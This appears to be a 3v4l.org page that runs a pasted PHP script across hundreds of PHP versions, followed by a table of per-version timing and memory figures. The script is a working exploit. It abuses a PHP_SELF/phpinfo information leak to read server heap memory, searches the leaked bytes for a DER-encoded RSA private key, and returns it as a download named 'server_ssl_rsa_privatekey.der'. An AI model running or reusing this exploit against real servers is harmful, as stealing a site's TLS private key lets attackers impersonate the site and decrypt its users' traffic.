3v4l.org

run code in 300+ PHP versions simultaneously
<?php set_time_limit(0); /* set a starting position for the heap scan */ /* script will crash immediately if trying to access illegal memory */ $starthi = 0xb788; if (isset($_GET['start'])) { $starthi = $_GET['start'] + 0; } /* initialize some stuff */ $i = 0; $z = 0; $olddata = ""; $keydata = ""; /* Unfortunately PHP is problematic when it comes to 32bit unsigned numbers - we have to fake it like this */ $PHP_SELF = ($starthi << 16) | $i; while (true) { $data = ""; while (strlen($data) < 4096) { /* perform the infoleak */ ob_start(); @phpinfo(INFO_VARIABLES); $var = ob_get_contents(); ob_get_clean(); /* extract the leaked data from output */ $r = preg_match("|PHP_SELF.</td><td class=\"v\">(.*).</td></tr>|mUs",$var,$match); /* we need to handle the "no value" case */ $var = $match[1]; if ($var == "<i>no value</i>") $var = chr(0); else $var .= chr(0); /* Ohhh and we need to decode the entities added by PHP */ $var = html_entity_decode($var,ENT_QUOTES,"ISO-8859-1"); /* Append leaked data to output */ $data .= $var; $i += strlen($var); /* $i will keep the lower 16 bits and $z the upper 16 bits */ if ($i > 0xffff) $z++; $i = $i & 0xffff; /* recalculate next address */ $PHP_SELF = ($starthi + $z)<<16 | $i; } /* we combine the data with the previous data to handle partial keys */ $check = $olddata . $data; $olddata = $data; $data = $check; /* Now check if we have a key candidate */ $position = strpos($data, "\x30\x82"); if ($position !== false && $position < strlen($data)-1024) { if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") { $length = ord($data[$position+2])*256+ord($data[$position+3])+4; $keydata = substr($data, $position, $length); // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one if (strpos($keydata, "\x01\x00\x01") > 0) break; } } } if (strlen($keydata) == 0) { header("Content-type: text/plain"); die ("Unexpected error!!!"); } header("Content-type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"server_ssl_rsa_privatekey.der\""); echo $keydata; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.75
8.3.50.0150.00421.99
8.3.40.0110.00618.92
8.3.30.0060.01019.18
8.3.20.0040.00420.38
8.3.10.0040.00421.89
8.3.00.0040.00418.04
8.2.180.0110.00416.47
8.2.170.0180.00322.96
8.2.160.0070.00720.52
8.2.150.0120.00324.18
8.2.140.0040.00424.66
8.2.130.0000.00826.16
8.2.120.0090.00020.92
8.2.110.0060.00322.18
8.2.100.0070.00718.22
8.2.90.0040.00419.30
8.2.80.0040.00417.97
8.2.70.0030.00617.84
8.2.60.0080.00018.16
8.2.50.0000.00818.07
8.2.40.0050.00318.22
8.2.30.0040.00718.45
8.2.20.0070.00317.71
8.2.10.0000.00818.07
8.2.00.0080.00017.75
8.1.280.0070.01125.92
8.1.270.0060.00323.79
8.1.260.0000.00726.35
8.1.250.0040.00428.09
8.1.240.0040.00424.05
8.1.230.0000.01019.16
8.1.220.0080.00017.79
8.1.210.0000.00818.77
8.1.200.0030.00717.48
8.1.190.0080.00017.13
8.1.180.0000.00818.10
8.1.170.0000.00818.65
8.1.160.0040.00421.95
8.1.150.0040.00418.84
8.1.140.0050.00217.35
8.1.130.0000.00717.87
8.1.120.0080.00017.46
8.1.110.0060.00317.39
8.1.100.0040.00417.50
8.1.90.0030.00317.49
8.1.80.0050.00217.54
8.1.70.0030.00517.42
8.1.60.0040.00417.56
8.1.50.0050.00317.53
8.1.40.0040.00417.62
8.1.30.0040.00417.52
8.1.20.0050.00317.60
8.1.10.0040.00417.66
8.1.00.0040.00417.55
8.0.300.0030.00718.77
8.0.290.0050.00216.75
8.0.280.0030.00318.47
8.0.270.0000.00717.16
8.0.260.0070.00017.19
8.0.250.0030.00317.07
8.0.240.0050.00317.05
8.0.230.0000.00717.08
8.0.220.0050.00316.82
8.0.210.0050.00316.99
8.0.200.0000.00617.05
8.0.190.0060.00316.96
8.0.180.0020.00517.02
8.0.170.0040.00416.91
8.0.160.0040.00417.05
8.0.150.0000.00716.86
8.0.140.0030.00416.89
8.0.130.0090.01213.59
8.0.120.0040.00416.95
8.0.110.0040.00416.97
8.0.100.0080.00016.93
8.0.90.0070.00016.77
8.0.80.0120.01216.94
8.0.70.0050.00316.92
8.0.60.0070.00016.99
8.0.50.0000.00816.84
8.0.30.0140.00617.09
8.0.20.0110.00917.40
8.0.10.0070.00016.98
8.0.00.0140.00616.80
7.4.330.0000.00715.13
7.4.320.0070.00016.63
7.4.300.0080.00016.78
7.4.290.0080.00016.60
7.4.280.0060.00316.57
7.4.270.0000.00916.62
7.4.260.0090.00016.71
7.4.250.0000.00916.72
7.4.240.0060.00316.63
7.4.230.0040.00416.54
7.4.220.0060.01316.70
7.4.210.0110.00716.78
7.4.200.0000.00816.75
7.4.160.0100.01316.75
7.4.150.0180.00617.40
7.4.140.0120.01317.86
7.4.130.0140.00716.67
7.4.120.0140.01216.72
7.4.110.0190.01216.71
7.4.100.0130.01216.63
7.4.90.0200.00816.79
7.4.80.0230.00919.39
7.4.70.0130.01016.67
7.4.60.0070.01316.82
7.4.50.0030.00316.82
7.4.40.0100.01616.54
7.4.30.0100.01416.68
7.3.330.0291.94913.45
7.3.320.0002.00313.68
7.3.310.0000.00916.40
7.3.300.0000.00916.41
7.3.290.0040.00416.37
7.3.280.0100.01516.54
7.3.270.0190.00917.40
7.3.260.0190.00916.48
7.3.250.0120.02116.74
7.3.240.0150.01516.77
7.3.230.0200.00016.76
7.3.210.0190.00616.52
7.3.200.0130.01519.39
7.3.190.0170.01016.71
7.3.180.0090.01216.73
7.3.170.0090.01316.36
7.3.160.0030.01616.83
7.2.330.0120.01216.91
7.2.320.0140.01416.68
7.2.310.0090.01516.82
7.2.300.0150.00616.64
7.2.290.0090.01316.70
7.1.70.0060.00317.16
7.1.60.0030.00917.61
7.1.50.0040.00817.30
7.1.40.0080.00417.11
7.1.30.0030.01217.01
7.1.20.0050.01017.07
7.1.10.0070.01016.92
7.1.00.0050.00917.11
7.0.200.0040.00816.95
7.0.190.0000.00917.13
7.0.180.0030.00716.36
7.0.170.0000.01216.41
7.0.160.0000.01216.64
7.0.150.0080.01116.89
7.0.140.0140.00516.89
7.0.130.0100.00516.89
7.0.120.0080.00616.89
7.0.110.0040.00916.89
7.0.100.0070.00716.89
7.0.90.0090.00616.89
7.0.80.0130.00916.89
7.0.70.0100.00316.89
7.0.60.0100.01016.89
7.0.50.0110.00816.90
7.0.40.0060.00916.90
7.0.30.0090.00416.90
7.0.20.0040.00916.90
7.0.10.0110.00416.90
7.0.00.0070.00716.90
5.6.300.0040.05220.79
5.6.290.0040.04920.82
5.6.280.0040.05120.94
5.6.270.0070.07020.84
5.6.260.0030.09620.83
5.6.250.0100.04920.74
5.6.240.0200.05020.92
5.6.230.0300.04021.02
5.6.220.0090.04320.75
5.6.210.0070.08120.57
5.6.200.0100.04620.79
5.6.190.0160.03520.79
5.6.180.0000.06820.89
5.6.170.0030.05920.80
5.6.160.0100.05020.77
5.6.150.0130.07720.95
5.6.140.0100.04820.91
5.6.130.0030.05620.98
5.6.120.0070.04720.79
5.6.110.0070.04120.95
5.6.100.0100.04620.80
5.6.90.0160.07220.68
5.6.80.0040.04320.09
5.6.70.0030.04120.11
5.6.60.0070.04220.36
5.6.50.0030.06220.12
5.6.40.0030.04620.06
5.6.30.0070.04020.28
5.6.20.0040.04620.15
5.6.10.0100.04020.16
5.6.00.0160.03520.15
5.5.380.0150.04117.58
5.5.370.0070.05617.48
5.5.360.0130.06217.51
5.5.350.0130.05817.34
5.5.340.0060.04018.02
5.5.330.0070.04317.89
5.5.320.0070.03918.01
5.5.310.0130.05217.99
5.5.300.0070.04918.03
5.5.290.0000.06318.02
5.5.280.0070.06817.99
5.5.270.0030.04618.04
5.5.260.0030.04817.98
5.5.250.0100.06717.64
5.5.240.0090.03317.39
5.5.230.0000.04717.21
5.5.220.0030.04217.29
5.5.210.0030.04217.05
5.5.200.0130.03317.38
5.5.190.0030.04717.00
5.5.180.0070.03717.36
5.5.160.0000.05017.02
5.5.150.0070.03917.27
5.5.140.0060.03817.34
5.5.130.0110.03617.39
5.5.120.0100.07717.36
5.5.110.0000.04617.33
5.5.100.0070.04117.24
5.5.90.0030.03917.17
5.5.80.0030.04317.27
5.5.70.0040.04217.27
5.5.60.0040.04317.25
5.5.50.0000.04517.23
5.5.40.0060.03617.23
5.5.30.0030.04017.07
5.5.20.0030.04717.23
5.5.10.0060.04117.16
5.5.00.0060.04017.11
5.4.450.0060.04419.32
5.4.440.0070.07319.20
5.4.430.0070.04119.19
5.4.420.0070.04119.34
5.4.410.0000.04619.20
5.4.400.0070.04119.03
5.4.390.0100.03518.83
5.4.380.0180.02718.84
5.4.370.0100.03819.12
5.4.360.0000.04719.09
5.4.350.0170.03718.88
5.4.340.0060.04219.11
5.4.320.0060.04118.91
5.4.310.0070.04018.87
5.4.300.0070.03919.01
5.4.290.0070.04119.02
5.4.280.0070.04618.98
5.4.270.0000.04318.96
5.4.260.0030.04118.93
5.4.250.0090.05118.93
5.4.240.0070.04118.86
5.4.230.0100.03718.99
5.4.220.0040.04019.00
5.4.210.0000.04819.14
5.4.200.0130.03018.87
5.4.190.0000.04518.91
5.4.180.0070.04119.01
5.4.170.0000.04518.96
5.4.160.0320.03218.76
5.4.150.0090.03818.94
5.4.140.0090.03216.90
5.4.130.0060.04516.90
5.4.120.0460.03016.90
5.4.110.0070.03716.90
5.4.100.0000.04316.90
5.4.90.0030.04016.90
5.4.80.0090.03316.90
5.4.70.0030.03916.90
5.4.60.0070.03416.90
5.4.50.0040.04216.90
5.4.40.0000.04016.90
5.4.30.0060.03616.90
5.4.20.0000.04616.90
5.4.10.0230.04316.90
5.4.00.0100.03416.90
5.3.290.0100.03616.90
5.3.280.0030.04316.90
5.3.270.0070.04216.90
5.3.260.0060.03816.90
5.3.250.0060.03816.90
5.3.240.0030.03816.90
5.3.230.0030.04416.90
5.3.220.0060.04116.90
5.3.210.0000.04616.90
5.3.200.0000.04716.90
5.3.190.0070.03916.90
5.3.180.0030.06616.90
5.3.170.0030.04416.90
5.3.160.0000.04716.90
5.3.150.0130.03516.90
5.3.140.0030.04416.90
5.3.130.0000.04816.90
5.3.120.0030.04016.90
5.3.110.0100.03816.90
5.3.100.0000.04516.90
5.3.90.0040.03916.90
5.3.80.0040.04216.90
5.3.70.0060.04516.90
5.3.60.0030.04716.90
5.3.50.0120.03116.90
5.3.40.0030.04516.90
5.3.30.0110.03616.90
5.3.20.0070.03616.90
5.3.10.0030.03916.90
5.3.00.0030.04316.90

preferences:
45.89 ms | 401 KiB | 5 Q